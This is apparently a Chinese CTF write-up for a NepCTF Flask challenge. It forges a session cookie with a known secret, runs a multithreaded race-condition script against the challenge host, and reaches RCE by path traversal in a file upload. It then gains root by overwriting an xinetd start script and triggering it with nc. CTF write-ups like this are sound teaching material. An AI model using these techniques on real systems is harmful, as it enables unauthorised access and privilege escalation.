if target_user not in users:
return "User not found", 404

if users[target_user]["balance"] >= flag_price:
users[target_user]["balance"] -= flag_price
return f"User {target_user} successfully bought the flag!,"+f"Here is your flag: {flag}"
return f"User {target_user} does not have sufficient funds", 400


if __name__ == "__main__":
app.run(host='0.0.0.0',debug=False)

session 伪造

默认账号密码HRP:HRP
账号名称可以通过/get_users路由得到。
转几个就够了。

1
2
python .\flask_session_cookie_manager3.py decode -s "super_secret_key" -c "eyJ1c2VybmFtZSI6IkhSUCJ9.ZtFdZg.9hbse7y5kvSHtJ90h-CeNXVhL0c"
{'username': 'HRP'}

admin:7n7t3zSrLT3oL8o

多线程

官方 wp 的做法是使用多线程,转账的时候 mutex 锁确保多线程时候用户余额修改安全。
image.png
但是仅仅锁了金额操作,没有锁检测操作,可以同时发起转账请求。然后这里的 log_transfer 可以达到 IO 延迟?所以只需要多线程提交转账请求就可以?
没太懂为什么。
这里直接上一下官方的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests                  
import threading
import re
def transfer_to_user(session, user, amount):
transfer_url = "https://neptune-47585.nepctf.lemonprefect.cn/transfer"
data = {
"receiver": user,
"amount": amount,
"logs":"true",
}
session.post(transfer_url, data=data)


session = requests.Session()

login_url = "https://neptune-47585.nepctf.lemonprefect.cn/login"
login_data = {
"username": "HRP",
"password": "HRP"
}
session.post(login_url, data=login_data)

reset_url = "https://neptune-47585.nepctf.lemonprefect.cn/reset"
session.get(reset_url, data="")

get_users_url = "https://neptune-47585.nepctf.lemonprefect.cn/get_users?num=1"
response = session.get(get_users_url)
first_user = response.json()["users"][0]

threads = []
for _ in range(100):
t = threading.Thread(target=transfer_to_user, args=(session, first_user, 3000))
t.start()
threads.append(t)

for t in threads:
t.join()

print(f"Transferred 100 units to {first_user} 100 times!")

force_buy_flag_data_url = "https://neptune-47585.nepctf.lemonprefect.cn/force_buy_flag"
force_buy_flag_data = {
"target_user": first_user,
}
admin_passwd=session.post(force_buy_flag_data_url, data=force_buy_flag_data)
print(admin_passwd.text)
pattern = r'flag:\s+(.+)'
# 使用正则表达式进行匹配
matches = re.findall(pattern, admin_passwd.text)

文件上传 RCE

后台有个文件上传。
image.png
路径穿越一下:(下面的文件名改成../../lock.txt)就能 rce 了
image.png
目录下 flag 没权限执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
ls -al
total 96
drwxr-xr-x 1 ctfuser ctfuser 4096 Aug 30 06:34 .
drwxr-xr-x 1 root root 4096 Aug 6 06:32 ..
-rw-r--r-- 1 ctfuser ctfuser 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 ctfuser ctfuser 18 Aug 30 06:42 .bashrc
-rw-r--r-- 1 ctfuser ctfuser 807 Feb 25 2020 .profile
-rwxrw-rw- 1 root root 8318 Aug 6 11:42 app.py
---------- 1 root root 45 Aug 30 05:47 flag
-rw-rw-r-- 1 ctfuser ctfuser 20924 Aug 30 06:34 lock.txt
-rwxrwxrwx 1 root root 15960 Aug 29 2023 pwn
-rwxrw-rw- 1 root root 16 Aug 29 2023 start.sh
drwxr-xr-x 1 root root 4096 Aug 6 11:42 templates

看下当前进程:

1
2
3
4
5
6
7
8
9
ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2608 596 ? Ss 05:47 0:00 /bin/sh -c service xinetd start &&su root -c "/flag.sh" && su ctfuser -c "python3 app.py"
root 20 0.0 0.0 4496 3032 ? S 05:47 0:00 su ctfuser -c python3 app.py
ctfuser 21 0.0 0.0 2608 596 ? Ss 05:47 0:00 sh -c python3 app.py
ctfuser 22 0.0 0.0 180120 28988 ? Sl 05:47 0:02 python3 app.py
root 24 0.0 0.0 12024 2464 ? Ss 05:47 0:00 /usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6
ctfuser 88 0.0 0.0 2608 536 ? S 06:40 0:00 /bin/sh -c GZCTF_FLAG=0 && ps -aux
ctfuser 89 0.0 0.0 6120 2976 ? R 06:40 0:00 ps -aux

xinetd 配置不当

xinetd 中间件服务,查看 /etc/xinetd.conf/etc/xinetd.d下的配置文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat /etc/xinetd.d/pwnservice
service pwnservice
{
disable = no
socket_type = stream
protocol = tcp
wait = no
user = root
server = /bin/bash
server_args = -c "/home/ctfuser/start.sh"
port = 8888
bind = 0.0.0.0
type = UNLISTED
per_source = 10
instances = 100
flags = REUSE
}

也就是说这个会在接收到 8888 端口的监听时运行脚本,正好这个脚本我们是有权限修改的,就可以通过这里来执行。

1
2
3
echo "#!/bin/bash\nchmod 777 /home/ctf/user/f*" > /home/ctfuser/start.sh
nc 127.0.0.1 8888
ls -al

这时候就能发现权限就是 777 了就可以查看了。

1
2
cat /home/ctfuser/f*
NepCTF{76fc0c0d-e5cf-4570-b51b-37f818b8ac57}

image.png

Always RCE First

Not yet. 环境我自己整的稀碎,后面有机会再做下吧。

Others

后面的没机会复现了,环境没有了。PHP 除了有点套之外,知识点挺多的。